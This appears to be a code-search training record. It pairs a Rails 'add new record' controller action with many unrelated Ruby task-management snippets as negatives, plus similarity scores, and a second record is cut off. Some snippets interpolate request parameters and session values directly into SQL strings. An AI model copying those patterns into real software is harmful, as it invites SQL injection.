"def list_clone\n @task = TaskRecord.new\n Template.find(params[:id]).clone_todos.collect{|t| @task.todos.build(t.attributes) }\n\n ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n content_for :content do \n @task.todos.each do |todo| \n todo.position \n todo.css_classes\n new_todo_open_close_check_box(todo) \n hidden_field_tag \"todos[][creator_id]\", todo.creator_id, :class => \"creator_id\" \n hidden_field_tag \"todos[][completed_by_user_id]\", todo.completed_by_user_id, :class => \"completed_by_user_id\" \n hidden_field_tag \"todos[][completed_at]\", todo.completed_at, :class => \"completed_at\" \nh todo.name \n text_field_tag(\"todos[][name]\", todo.name) \n link_to(t(\"button.cancel\"), \"#\", :class => \"toggle-todo-edit\") \n if todo.done? \nh \"[#{ formatted_datetime_for_current_user(tz.utc_to_local(todo.completed_at)) }]\" \nh \"[#{ todo.completed_by_user.name }]\" if todo.completed_by_user \n else \n link_to('<i class=\"icon-pencil\"></i>'.html_safe, \"#\", :class => \"toggle-todo-edit\") \n end \n link_to '<i class=\"icon-remove\"></i>'.html_safe, \"#\", :rel => \"tooltip\", :title => t(\"todos.delete_todo_html\", todo: h(todo.name)),\n :onClick => \"jQuery(this).parent().remove(); return false;\"\n \n end \n template = render_to_string(:partial => \"todos/new_todo\", :locals => {:todo => Todo.new(:creator_id => current_user.id )}) \n template \n text_field_tag(\"todo[name]\", \"\", :size => 50, :placeholder => t(\"todos.add_todo_placeholder\")) \n yield(:side_panel) \n t(\"task_filters.filters\") \n t(\"task_filters.save_current\") \n filters_user_path(current_user) \n t(\"task_filters.manage\") \n TaskFilter.recent_for(current_user).each do |filter| \n select_task_filter_link(filter) \n end \n link_to_open_tasks \n link_to_open_tasks(current_user) \n link_to_unread_tasks(current_user) \n current_user.visible_task_filters.each do |tf| \n select_task_filter_link(tf) \n end \n \n cache(grouped_cache_key \"tags/company_#{current_user.company_id}/\", current_user.id) do \n t(\"tags.tags\") \n if current_user.admin? \n t(\"button.edit\") \n end \n tag_links \n end \n \n current_user.id \n current_user.id \n t(\"tasks.next_tasks\") \n count = 5 if ( count.nil? || count < 5) \n current_user.schedule_tasks(:limit => count, :save => false) do |task| \n pill_date ||= task.estimate_date \n time ||= :minutes_left \n sorting_disabled ||= false \n user.top_next_task == task ? 'top-next-task' : nil \n human_future_date(pill_date, user.tz) \n task.css_classes \n link_to \"<b>##{task.task_num}</b>\".html_safe, task_view_path(task.task_num), 'data-taskid' => task.id, \"data-content\" => task_detail(task, user) \n task.name \n case time \n when :minutes_left \n \"(\" + TimeParser.format_duration(task.minutes_left) + \")\" \n when :worked_minutes \n \"(\" + TimeParser.format_duration(task.worked_minutes, true) + \")\" \n end \n unless sorting_disabled \n link_to \"<i class=\\\"icon-move\\\"></i>\".html_safe, \"#\", :title => t(\"tasks.reorder_task\"), :class => \"pull-right\" \n end \n \n end \n if current_user.tasks.open_only.not_snoozed.count > count \n t(\"tasks.more_tasks\") \n end \n \n end \n javascript_include_tag 'application' \n yield :head \n stylesheet_link_tag 'application' \n auto_discovery_link_tag(:rss, {:controller => 'feeds', :action => 'rss', :id => current_user.uuid }) \n csrf_meta_tag \n @page_title || Setting.productName \n if Setting.version \n Setting.version \n end \n new_user_session_url \n image_tag('spinner.gif', :border => 0) \n \n if current_user.company.logo? \n image_tag(\"/companies/show_logo/#{current_user.company.id}\", :alt => \"logo\" ) \n else \n image_tag(\"logo.gif\", :alt => \"logo\" ) \n end \n if total_today > 0 \n t(\"shared.worked_today\", time: distance_of_time_in_words(total_today.minutes)) \n end \n if @current_sheet && @current_sheet.task \n start_stop_work_link(@current_sheet.task) \n cancel_work_link(@current_sheet.task) \n pause_task_link(@current_sheet.task) \n link_to(@current_sheet.task.issue_name + \" - \" + @current_sheet.task.project.name, edit_task_path(@current_sheet.task.task_num)) \n percent = ((@current_sheet.task.worked_minutes + @current_sheet.duration / 60) / @current_sheet.task.duration.to_f * 100).round unless (@current_sheet.task.duration.nil? or @current_sheet.task.duration == 0) \n TimeParser.format_duration(@current_sheet.duration/60) \n TimeParser.format_duration(@current_sheet.task.worked_minutes + @current_sheet.duration / 60) \n percent.nil? ? 0 : percent \n \n end \n \n t('tabmenu.overview') \n link_to t('tabmenu.dashboard'), :controller => 'activities', :action => 'index' \n if current_user.admin? \n link_to t('tabmenu.planning'), planning_tasks_path \n end \n if current_user.can_any?(current_user.projects, 'report') \n billing_title = current_user.can_use_billing? ? 'billing' : 'reports' \n link_to t(\"tabmenu.#{billing_title}\"), :controller => 'billing', :action => 'index' \n end \n link_to t('tabmenu.history'), :controller => 'timeline', :action => 'index' \n t('tabmenu.create') \n link_to t('tabmenu.task'), :controller => 'tasks', :action => 'new' \n if current_templates.size > 0 \n t('tabmenu.from_template') \n current_templates.order(\"tasks.position_task_template\").each do |task| \n link_to task, clone_task_path(task.task_num) \n end \n end \n if current_user.create_projects? \n link_to t('tabmenu.project'), :controller => 'projects', :action => 'new' \n end \n link_to t('tabmenu.milestone'), new_milestone_path \n if Setting.contact_creation_allowed && current_user.can_view_clients? \n link_to t('tabmenu.person'), :controller => 'users', :action => 'new' \n link_to t('tabmenu.company'), :controller => 'customers', :action => 'new' \n end \n if current_user.use_resources? \n link_to(t('tabmenu.resource'), new_resource_path) \n end \n if menu_class(\"activities\") == \"active\" \n link_to t('tabmenu.add_new_widget'), '#', :id => \"add-widget-menu-link\" \n end \n menu_class(\"tasks\") \n link_to t('tabmenu.tasks'), :controller => 'tasks', :action => 'index' \n menu_class(\"milestones\") \n link_to t('tabmenu.milestones'), milestones_path \n if current_user.company.show_wiki? \n menu_class(\"wiki\") \n link_to t('tabmenu.wiki'), :controller => 'wiki', :action => 'show', :id => nil \n end \n link_to t('tabmenu.projects'), :controller => 'projects', :action => 'index' \n text_field_tag(\"keyword\", \"\", :class => \"search_filter input-xlarge\", :placeholder => t('tabmenu.search'), :id => \"menubar_search\", :autocomplete => \"off\") \n \n current_user.display_login \n if current_user.admin? \n link_to t('tabmenu.my_account'), edit_user_path(current_user) \n link_to t('tabmenu.company_settings'), :controller => 'companies', :action => 'edit', :id => current_user.company_id \n else \n link_to t('tabmenu.my_account'), edit_user_path(current_user) \n end \n link_to t('tabmenu.log_out'), destroy_user_session_path \n \n flash.each do |key, val| \nkey.to_s\n val \n end \n \n news = NewsItem.order(\"id desc\").where(\"id > ?\", current_user.seen_news_id).first\nunless news.nil? \n tz.utc_to_local(news.created_at).strftime(\"#{current_user.time_format} #{current_user.date_format}\") \n news.body \n link_to( \"[#{t(\"button.hide\")}]\", { :controller => 'users', :action => 'update_seen_news', :id => news.id}, :class => \"right\",\n :onclick => \"jQuery('#news').fadeOut(500)\",\n :remote => true) \n end \n \n content_for?(:content) ? yield(:content) : yield \n current_user.id \n current_user.dateFormat \n \n\nend\n\n end",
"def skip_actions; end",
"def create\n authorize! :create_task_list, @active_project\n \n @task_list = @active_project.task_lists.build(params[:task_list])\n @task_list.created_by = @logged_user\n\n respond_to do |format|\n if @task_list.save\n flash[:notice] = 'List was successfully created.'\n format.html {\n error_status(false, :success_added_task_list)\n redirect_back_or_default(@task_list)\n }\n format.js { return index }\n format.xml { render :xml => @task_list.to_xml(:root => 'task-list'), :status => :created, :location => @task_list }\n else\n format.html { ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n form_authenticity_token \n unless @active_project.nil? \n h @active_project.name \n h page_title \n h Company.owner.name \n else \n h page_title \n h Company.owner.name \n end \n stylesheet_link_tag 'project_website' \n additional_stylesheets.each do |ss| \n stylesheet_link_tag ss \n end unless additional_stylesheets.nil? \n javascript_include_tag 'application.js' \n javascript_tag \"var PROJECT_ID = #{@active_project.id}; var LOGGED_USER_ID=#{@logged_user.id};\" \n unless @active_project.is_active? \n t('project_locked_header') \n if can?(:change_status, @active_project) \n link_to t('mark_project_as_active'), open_project_path(:id => @active_project.id), :method => :put, :confirm => t('mark_project_as_active_confirmation') \n end \n end \n h @active_project.name \n if user.is_anonymous? \n t('welcome_anonymous') \n link_to(t('login'), logout_path) \n else \n t('welcome_back', :user => h(user.display_name)).html_safe \n link_to t('logout'), logout_path, :confirm => t('are_you_sure_logout') \n end \n @running_times.empty? ? 'none' : 'block' \n t('running_times', :count => @running_times.size) \n render_icon 'bullet_drop_down', '', :id => 'running_times', :class => 'PopupMenuWidgetAttachTo', :title => 'Enable javascript' \n unless user.is_anonymous? \n link_to t('account'), @logged_user \n render_icon 'bullet_drop_down', '', :id => 'account_more', :class => 'PopupMenuWidgetAttachTo', :title => 'Enable javascript' \n end \n unless projects.blank? \n link_to t('projects'), :controller => 'dashboard', :action => 'my_projects' \n render_icon 'bullet_drop_down', '', :id => 'projects_more', :class => 'PopupMenuWidgetAttachTo', :title => 'Enable javascript' \n end \n if user.is_admin \n link_to t('administration'), :controller => 'administration' \n render_icon 'bullet_drop_down', '', :id => 'administration_more', :class => 'PopupMenuWidgetAttachTo', :title => 'Enable javascript' \n end \n unless user.is_anonymous? \n t('account') \n link_to t('edit_profile'), edit_user_path(:id => user.id) \n link_to t('update_avatar'), avatar_user_path(:id => user.id) \n t('userbox_more') \n link_to t('my_projects'), :controller => 'dashboard', :action => 'my_projects' \n link_to t('my_tasks'), :controller => 'dashboard', :action => 'my_tasks' \n end \n unless projects.blank? \n t('projects') \n projects.each do |project| \n link_to h(project.name), project_path(:id => project.id) \n end \n end \n if user.is_admin \n t('administration') \n link_to t('company'), Company.owner \n link_to t('members'), companies_path \n link_to t('projects'), projects_path \n end \n listed.id \n link_to h(listed.name), listed.object_url \n link_to render_icon('stop', t('stop_time')), stop_time_path(:active_project => listed.project_id , :id => listed.id), :class => 'blank stopTime' \n \n \n unless tabs.nil? \n current_tab = self.current_tab \n tabs.each do |item| \n \"item_#{item[:id]}\" \n 'class=\"active\"'.html_safe if item[:id] == current_tab \n item[:url] \n t(item[:id]) \n end \n end \n \n unless crumbs.nil? \n crumbs.each do |crumb| \n if crumb[:url] \n crumb[:url] \n crumb[:title].is_a?(Symbol) ? t(crumb[:title]) : h(crumb[:title]) \n else \n crumb[:title].is_a?(Symbol) ? t(crumb[:title]) : h(crumb[:title]) \n end \n end \n end \n \n if Rails.configuration.search_enabled \n form_tag search_project_path(:id => @active_project.id) \n\n @search_field_default_value = t('search_box_default')\n @last_search ||= @search_field_default_value\n @search_field_attrs = {\n :onfocus => \"if (event.target.value == '#{@search_field_default_value}') event.target.value=''\",\n :onblur => \"if (event.target.value == '#{@search_field_default_value}') event.target.value=''\"\n }\n\n text_field_tag 'search_id', (h @last_search), @search_field_attrs \n t('go') \n end \n if flash[:message] \n flash[:error] ? 'error' : 'success' \n flash[:error] ? 'flash_error' : 'flash_success' \n h flash[:message] \n end \n h page_title \n if @private_object \n image_path('icons/private.gif') \n end \n @content_for_sidebar.nil? ? '' : 'class=\\'sidebar\\'' \n page_actions.each do |action| \n action[:url] \n action[:ajax] ? 'class=\"ajax_action\"' : 'class=\"action\"' \n action[:title] \n t(action[:title]) \n end \n \n form_tag task_lists_path \n error_messages_for :task_list \n t('name') \n text_field 'task_list', 'name', :id => 'taskListFormName', :class => 'long' \n t('priority') \n text_field 'task_list', 'priority', :id => 'taskListPriority', :class => 'long' \n t('description') \n text_area 'task_list', 'description', :id => 'taskListFormDescription', :class => 'short', :rows => 10, :cols => 40 \n t('milestone') \n select 'task_list', 'milestone_id', select_milestone_options(@active_project), {}, {:class => 'select_milestone', :id => 'taskListFormMilestone'} \n if @logged_user.member_of_owner? \n t('is_private_list') \n t('is_private_list_info') \n yesno_toggle 'task_list', 'is_private', :id => 'taskListFormIsPrivate', :class => 'yes_no' \n end \n t('tags') \n text_field 'task_list', 'tags', :id => 'taskListFormTags', :class => 'long' \nt('tags_info') \n \n t('add_task_list') \n unless @content_for_sidebar.nil? \n render :partial => @content_for_sidebar \n end \n if not Company.owner.homepage.nil? \n Company.owner.homepage \n Company.owner.name \n else \n Company.owner.name \n end \n product_signature \n \n\nend\n }\n \n format.xml { render :xml => @list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def before_request\n end",
"def tasks_are_active_and_permitted\n self.tasks.all.each do | task |\n errors.add( :base, \"Task '#{ task.augmented_title }' is no longer active and cannot be included\" ) unless task.active\n\n if ( self.user.try( :restricted? ) )\n errors.add( :base, \"Inclusion of task '#{ task.augmented_title }' is no longer permitted\" ) unless self.user.task_ids.include?( task.id )\n end\n end\n end",
"def named_views_secretarys_task\n @task_assigned = UserTask.all(:conditions => [\"assigned_to_user_id = ? AND (status is null OR status != 'complete')\", @sp_session.assignment.user.id], :order => \"created_at DESC\")\n @task_completed = UserTask.all(:conditions => [\"completed_by_user_id = ? AND status like ? AND completed_at >= ?\", @sp_session.assignment.user.id, \"complete\", 1.week.ago], :order => \"created_at DESC\")\n render :partial => 'named_views_secretarys_task'\n end",
"def destroy_filter\n not actuale?\n end",
"def create\n @filter = Filter.find_or_create_by_name( params[:filter][:name], :group => params[:filter][:group], :pattern => params[:filter][:pattern] )\n\n Auditlog( self.class.name, @filter )\n\n respond_to do |format|\n if @filter\n format.html { redirect_to @filter, notice: 'Filter was successfully created.' }\n format.json { render json: @filter, status: :created, location: @filter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @filter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pre_authorize_cb=(_arg0); end",
"def filters; end",
"def filters; end",
"def before_run(ant)\n end",
"def main_index\n @events = Event.order('starts_at ASC').upcoming.includes(:lab)\n @past_events = Event.order('starts_at DESC').past.includes(:lab)\n #authorize_action_for @events\n end",
"def audit_me_enabled_for_controller\n true\n end",
"def apply_template_before?; end",
"def register_filter(mod); end",
"def show\n @todo = Todo.find(params[:id]) #not through before filter as we're checking there for user, in show it's read only so it's safe to show to all\n end",
"def setup_view_edit_permissions(lot)\n allowableActions = []\n # This is in display order (bottom up)\n # The names after blah_ are the section names used in\n # the HTML/AngularJS code, so keep that in mind if you\n # find yourself editing those.\n #\n # View (unhide) ability\n allowableActions << \"view_charges\"\n allowableActions << \"view_pick-up\"\n allowableActions << \"view_info\"\n allowableActions << \"view_seller\"\n allowableActions << \"view_wait-to-clear-pickup\"\n allowableActions << \"view_wait-for-driver-dispatch\"\n allowableActions << \"view_wait-for-trip-confirmation\"\n allowableActions << \"view_wait-for-inventory\"\n allowableActions << \"view_wait-for-title\"\n allowableActions << \"view_ready-for-auction-section\"\n allowableActions << \"view_wait-for-sale-confirmation\"\n allowableActions << \"view_wait-for-buyer-charge\"\n allowableActions << \"view_ready-for-seller-billing-section\"\n allowableActions << \"view_wait-for-settlement-confirmation\"\n allowableActions << \"view_service-orders\"\n \n # Edit ability\n if !lot.closed? || (lot.closed? && can?(:edit_closed_lots, lot))\n allowableActions << \"edit_charges\" if can? :edit_charges_section, lot\n allowableActions << \"edit_pick-up\" if can? :edit_location_section, lot\n allowableActions << \"edit_info\" if can? :edit_lot_info_section, lot\n allowableActions << \"edit_seller\" if can? :edit_seller_info_section, lot\n allowableActions << \"edit_wait-to-clear-pickup\" if can? :edit_hold_info_section, lot\n allowableActions << \"edit_wait-for-driver-dispatch\" if can? :edit_tow_provider_section, lot\n allowableActions << \"edit_wait-for-trip-confirmation\" if can? :edit_charges_reconciliation_section, lot\n allowableActions << \"edit_wait-for-inventory\" if can? :edit_inventory_section, lot\n allowableActions << \"edit_wait-for-title\" if can? :edit_ownership_transfer_section, lot\n allowableActions << \"edit_ready-for-auction-section\" if can? :edit_auction_section, lot\n allowableActions << \"edit_wait-for-sale-confirmation\" if can? :edit_sale_confirmation_section, lot\n allowableActions << \"edit_wait-for-buyer-charge\" if can? :edit_member_billing_section, lot\n allowableActions << \"edit_ready-for-seller-billing-section\" if can? :edit_seller_billing_section, lot\n allowableActions << \"edit_wait-for-settlement-confirmation\" if can? :edit_settlement_confirmation_section, lot\n allowableActions << \"edit_service-orders\" if can? :edit_service_order_section, lot\n end\n \n gon.allowableActions = allowableActions\n end",
"def filters\n end",
"def editing_destroying_filter\n unless editing_destroying_filter_condition\n flash[:notice] = \"You're not authorized to edit or delete!\"\n redirect_to events_path\n end\n end",
"def index\n @tasks =\n if @is_admin\n if id = params[:filter_by_user_id]\n Task.where(user_id: id)\n elsif state = params[:filter_by_state]\n Task.where(state: state)\n else\n Task.all\n end\n else\n Task.where(user_id: @person.id) + Task.where(state: 'open', user_id: nil)\n end\n end",
"def access_control\n \n end",
"def index\n #binding.pry\n \n if params[:sort_expired_at]\n #@tasks = Task.all.order(expired_at: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(expired_at: :desc)\n elsif params[:sort_priority]\n #@tasks = Task.all.order(priority: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(priority: :desc)\n\n elsif params[:tag_id]\n if params[:tag_id] != \"\"\n #@tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n @tasks = Tag.find(params[:tag_id]).tasks.page(params[:page]).per(PER) \n else\n #@tasks = Tag.find(params[:tag_id]).tasks.page(params[:page]).per(PER) \n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n end\n \n #@tasks = Tag.find(params[:tag_id]).tasks\n\n elsif params[:status_search] == \"\" && params[:title_search] == \"\"\n #@tasks = Task.all.order(id: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n\n elsif params[:status_search] && params[:title_search] == \"\"\n #@tasks = Task.status_search(params[:status_search]) #default\n #@tasks = Task.where(status: params[:status_search]) #scope\n @tasks = current_user.tasks.page.status_search(params[:status_search]).per(PER) #kaminari\n \n\n elsif params[:title_search] && params[:status_search] == \"\"\n #@tasks = Task.where('title LIKE ?', \"%#{params[:title_search]}%\") #default\n #@tasks = Task.title_search(params[:title_search]) #※scope\n @tasks = current_user.tasks.page.title_search(params[:title_search]).per(PER) #kaminari\n \n elsif params[:title_search] && params[:status_search]\n #@tasks = Task.status_search(params[:status_search]).title_search(params[:title_search]) #scope\n #@tasks = Task.where('title LIKE ?', \"%#{params[:title_search]}%\").where(status: params[:status_search]) #default\n @tasks = current_user.tasks.page.status_search(params[:status_search]).title_search(params[:title_search]).per(PER)\n \n else\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n #@tasks = Task.page(params[:page]).per(PER).order(id: :desc) #全てのユーザーのtask見れる\n #@tasks = Task.all.order(id: :desc)\n end\n end",
"def create\n @task = Task.new(task_params)\n @task.user = current_user\n authorize! :create, @task\n \n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task }\n else\n format.html { render action: 'new' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def filter\n setup_instance_variables\n render 'index'\n end",
"def initialize(name, run_context=nil)\n super\n @action = :create\nend",
"def filter\n filter = \"\"\n\n if session[:filter_user].to_i > 0\n task_ids = User.find(session[:filter_user].to_i).tasks.collect { |t| t.id }.join(',')\n if task_ids == ''\n filter = \"tasks.id IN (0) AND \"\n else\n filter = \"tasks.id IN (#{task_ids}) AND \"\n end\n elsif session[:filter_user].to_i < 0\n not_task_ids = Task.find(:all, :select => \"tasks.*\", :joins => \"LEFT OUTER JOIN task_owners t_o ON tasks.id = t_o.task_id\", :readonly => false, :conditions => [\"tasks.company_id = ? AND t_o.id IS NULL\", current_user.company_id]).collect { |t| t.id }.join(',')\n if not_task_ids == ''\n filter = \"tasks.id = 0 AND \"\n else\n filter = \"tasks.id IN (#{not_task_ids}) AND \" if not_task_ids != \"\"\n end\n end\n\n if session[:filter_milestone].to_i > 0\n filter << \"tasks.milestone_id = #{session[:filter_milestone]} AND \"\n elsif session[:filter_milestone].to_i < 0\n filter << \"(tasks.milestone_id IS NULL OR tasks.milestone_id = 0) AND \"\n end\n\n unless session[:filter_status].to_i == -1 || session[:filter_status].to_i == -2\n if session[:filter_status].to_i == 0\n filter << \"(tasks.status = 0 OR tasks.status = 1) AND \"\n elsif session[:filter_status].to_i == 2\n filter << \"(tasks.status > 1) AND \"\n else\n filter << \"tasks.status = #{session[:filter_status].to_i} AND \"\n end\n end\n\n if session[:filter_status].to_i == -2\n filter << \"tasks.hidden = 1 AND \"\n else\n filter << \"(tasks.hidden = 0 OR tasks.hidden IS NULL) AND \"\n end\n\n if session[:hide_deferred].to_i > 0\n filter << \"(tasks.hide_until IS NULL OR tasks.hide_until < '#{@tz.now.utc.to_s(:db)}') AND \"\n end \n\n unless session[:filter_customer].to_i == 0\n filter << \"tasks.project_id IN (#{current_user.projects.find(:all, :conditions => [\"customer_id = ?\", session[:filter_customer]]).collect(&:id).compact.join(',') }) AND \"\n end\n\n filter << \"(tasks.milestone_id NOT IN (#{@completed_milestone_ids}) OR tasks.milestone_id IS NULL) \"\n\n return filter\n end",
"def apply_filter\n end",
"def before\n end",
"def filter_by_schedule()\n return if authorise_for_web(program_name?,'read') == false\n render_filter_by_schedule\n end",
"def filter_object\n # redirect_to(root_url, :notice => \"Do not have permission\") and return\n end",
"def create\n\t\tformat_task_attributes(task_params)\n\t\t@task =Task.new(@updated_params)\n\t\tlogger.debug \"Created Task #{@task}\"\n\t\t@task.user = current_user\n\t\tauthorize! :create, @task\n\t\t@task.is_completed=false\n\t\tsave_task\n\tend",
"def index\n @task_filter = TaskFilter.new(filter_params)\n @is_grouped = @task_filter.group_under_categories\n @is_done = @task_filter.is_done\n @tasks = Task.for_user(current_user.id, filter_params)\n @finished_tasks = []\n end",
"def prepare_params_for_view\n # parameters used when render views \n @project = Project.new(@project_params)\n @tasks = []\n @tasks_params.each do |i, task_params|\n @tasks << Task.new(task_params)\n end\n end",
"def index\n if params[:sort_expired]\n @tasks = current_user.tasks\n @tasks = @tasks.order(deadline: :desc)\n else\n @tasks = current_user.tasks\n @tasks = @tasks.order(created_at: :desc)\n end \n\n if params[:sort_priority_high]\n @tasks = current_user.tasks \n @tasks = @tasks.order(priority: :asc)\n end\n \n if params[:task].present?\n if params[:task][:name].present? && params[:task][:status].present?\n #両方name and statusが成り立つ検索結果を返す\n @tasks = @tasks.where('name LIKE ?', \"%#{params[:task][:name]}%\")\n @tasks =@tasks.where(status: params[:task][:status])\n \n #渡されたパラメータがtask nameのみだったとき\n elsif params[:task][:name].present?\n @tasks = @tasks.where('name LIKE ?', \"%#{params[:task][:name]}%\")\n\n #渡されたパラメータがステータスのみだったとき\n elsif params[:task][:status].present?\n # @tasks = Task.all\n @tasks =@tasks.where(status: params[:task][:status])\n #渡されたパラメータがラベルのみだったとき\n\n elsif params[:task][:label_id].present?\n @labeling = Labeling.where(label_id: params[:task][:label_id]).pluck(:task_id)\n @tasks = @tasks.where(id: @labeling) \n end\n end\n\n @tasks = @tasks.page(params[:page]).per(5)\n\n end",
"def create\n render_json_auto @survey.add_filter(params[:filter]) and return\n end",
"def add_actions; end",
"def home\n @todos = Todo.all\n @todos = Todo.ready if params[:todo_filters].eql? 'ready'\n @todos = Todo.not_ready if params[:todo_filters].eql? 'not_ready'\n @todos.order(:created_at)\n end",
"def create\n @tasks_log = TasksLog.new\n @tasks_log.start_date = Time.now\n # @task = Task.find_by(id: params[:task_id])\n @tasks_log.task_id = params[:task_id]\n @tasks_log.user_id = current_user.id\n #! check params for task_id, and find by id\n\n respond_to do |format|\n if @tasks_log.save\n format.html { redirect_to task_path(@tasks_log.task), notice: 'Tasks log was successfully created.' }\n format.json { render :show, status: :created, location: @tasks_log }\n else\n format.html { render :new }\n format.json { render json: @tasks_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def entry_filter; end",
"def param_whitelist\n [:role, :title]\n end",
"def new\n\t\tpre_new\n\tend",
"def before name, &block\n self.__local_before_command_sets << Task.new(:name => name, :callback => true, &block)\n end",
"def create\n @task = Task.new(task_params)\n authorize @task\n\n respond_to do |format|\n if @task.save\n format.html { redirect_back_or_default(notice: 'Task was successfully created.') }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def active_permitted_tasks\n ( self.restricted? ) ? self.tasks.active : Task.active\n end",
"def my_index\n authorize! :read, Task\n @tasks = Task.where(:user_id => current_user.id).order(sort_column + \" \" + sort_direction).page(params[:page]).per(20)\n\n render \"index\"\n end",
"def global_filter; end",
"def index\n @tasks = (current_user.admin? ? Task.all : current_user.tasks)\n @error = nil\n if params[:name].present?\n resp = Task.where(\"name ilike '%#{params[:name]}%'\")\n if resp.present? \n if !current_user.admin?\n resp = resp.where(:user_id => current_user.id)\n end\n @tasks = resp \n end\n if resp.blank?\n @error = \"No Task Present with \\'#{params[:name]}\\' name\"\n end\n end \n end",
"def before_create\n @added = true\n super\n end",
"def extra_pubish_tasks(p)\n \n end"
] |
[
"0.6676479",
"0.5921187",
"0.588122",
"0.5863533",
"0.5811481",
"0.5804265",
"0.57233775",
"0.5614183",
"0.56137395",
"0.55888265",
"0.55788594",
"0.5575768",
"0.55272156",
"0.54966336",
"0.54893523",
"0.5485913",
"0.54840595",
"0.54778594",
"0.54534185",
"0.54460675",
"0.5425177",
"0.54164636",
"0.5414141",
"0.5395883",
"0.5383692",
"0.53773546",
"0.5373356",
"0.5372156",
"0.53675187",
"0.5365798",
"0.53635585",
"0.5360122",
"0.5360122",
"0.5360122",
"0.53598905",
"0.534755",
"0.534564",
"0.5342517",
"0.5342357",
"0.5342357",
"0.53413415",
"0.53360367",
"0.5335003",
"0.5316274",
"0.53145593",
"0.5308438",
"0.5307203",
"0.53039324",
"0.5302883",
"0.52986157",
"0.5297588",
"0.5287341",
"0.5285574",
"0.5272663",
"0.52705425",
"0.5263798",
"0.5263105",
"0.5258894",
"0.52546495",
"0.5243467",
"0.5243467",
"0.52418935",
"0.52384895",
"0.5226943",
"0.5226517",
"0.5219864",
"0.5218892",
"0.5215636",
"0.52141035",
"0.51876324",
"0.5178691",
"0.51679116",
"0.51628524",
"0.51582867",
"0.51539075",
"0.5148867",
"0.51487803",
"0.51479715",
"0.5146585",
"0.514449",
"0.5140384",
"0.5139339",
"0.51370096",
"0.51366615",
"0.51286405",
"0.5119139",
"0.51156557",
"0.51127005",
"0.5112471",
"0.5105374",
"0.50952494",
"0.50923055",
"0.5074495",
"0.5064573",
"0.5063944",
"0.5063217",
"0.50629395",
"0.50556445",
"0.5048395",
"0.5046446",
"0.504586"
] |
0.0
|
-1
|
Below code execute on clcik of add button while creating session notes entry.
|
def add_new_record
@com_notes_entry= Communication.new
@index = params[:index].to_i
matter_contact_records
render :partial => 'communications/field',:locals=>{:emp_id=>params[:emp_id]}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_notes\n end",
"def click_create_new_note\n logger.debug 'Clicking the New Note button'\n wait_for_update_and_click new_note_button_element\n end",
"def custom_action\n :new_note\n end",
"def click_save_new_note\n logger.debug 'Clicking the new note Save button'\n wait_for_update_and_click new_note_save_button_element\n end",
"def add_log_note(note)\n session[:log_notes] ||= []\n session[:log_notes] << note\n end",
"def on_add(clicker)\n end",
"def action_add\n notifying_block do\n create_config\n end\n end",
"def rb_add_to_cart (data) \n # self.add_to_cart(data)\n # go to personalize tabs (href #contentPersonalize-tab)\n # select Message Type id: s7_ea1_message_type, monogram\n # Populate First Name Innital id:s7_ea1_mon_0\n # Populate Last Name Initial id: s7_ea1_mon_1\n # Populate Middle Initial id:s7_ea1_mon_2\n # Choose font selector id:s7_ea1_mon_font\n # Click alternate Add to Cart, id:s7_add_to_cart\n end",
"def add(args)\n return @client.api_helper.add(args, \"note_add\")\n end",
"def add_notes\n \tNote.create!(content: params[:body], user_id: params[:user_id], email_conversation_id: params[:email_conversation_id])\n \tredirect_to chat_history_path(lead_id: params[:lead_id])\n end",
"def contact_note_add(id:, listid:, note:, **args)\n post(\n '/admin/api.php',\n query: {\n api_action: 'contact_note_add'\n },\n body: args.merge(\n id: id,\n listid: listid,\n note: note,\n )\n )\n end",
"def test03_R1_post_note_TC_24423\n\t\t@msg = \"It's nice to see small businesses in #{$local_patch} #{random}\"\n\t\t$browser.goto($patch_login)\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_directory_listing)\n\t\twait_for_ajax\n\t\tsleep 4\n\t\t$post_activate_note.when_present.fire_event(\"onclick\")\n\t\tsleep 3\n\t\t$business_review_note_button.click\n\t\tsleep 2\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n\t\t$business_review_text.set(@msg)\n\n\t\tsleep 2\n\t\t$business_review_post.fire_event(\"onclick\")\n\n\t\tsleep 5\n\t\tassert $browser.text.include? \"#{@msg}\"\n\tend",
"def add_actions; end",
"def onCmdNew( obj, sig, par )\n\t\t\twin = TicketEditWindow.new( getApp(), @mdimenu, @mdiclient )\n\t\t\twin.create\n\t\t\twin.show\n\t\t\t@mdiclient.setActiveChild( win )\n\t\t\treturn 1\n\t\tend",
"def on_session_interact(session)\n\tend",
"def enter_note(test_data)\n hide_notifications_bar\n logger.info \"Entering note '#{test_data[CoreUseOfCollectionsData::NOTE.name]}'\"\n wait_for_element_and_type(note_text_area, test_data[CoreUseOfCollectionsData::NOTE.name])\n end",
"def add\n active_content_div.button(:text=>\"Add\").click\n wait_for_ajax\n end",
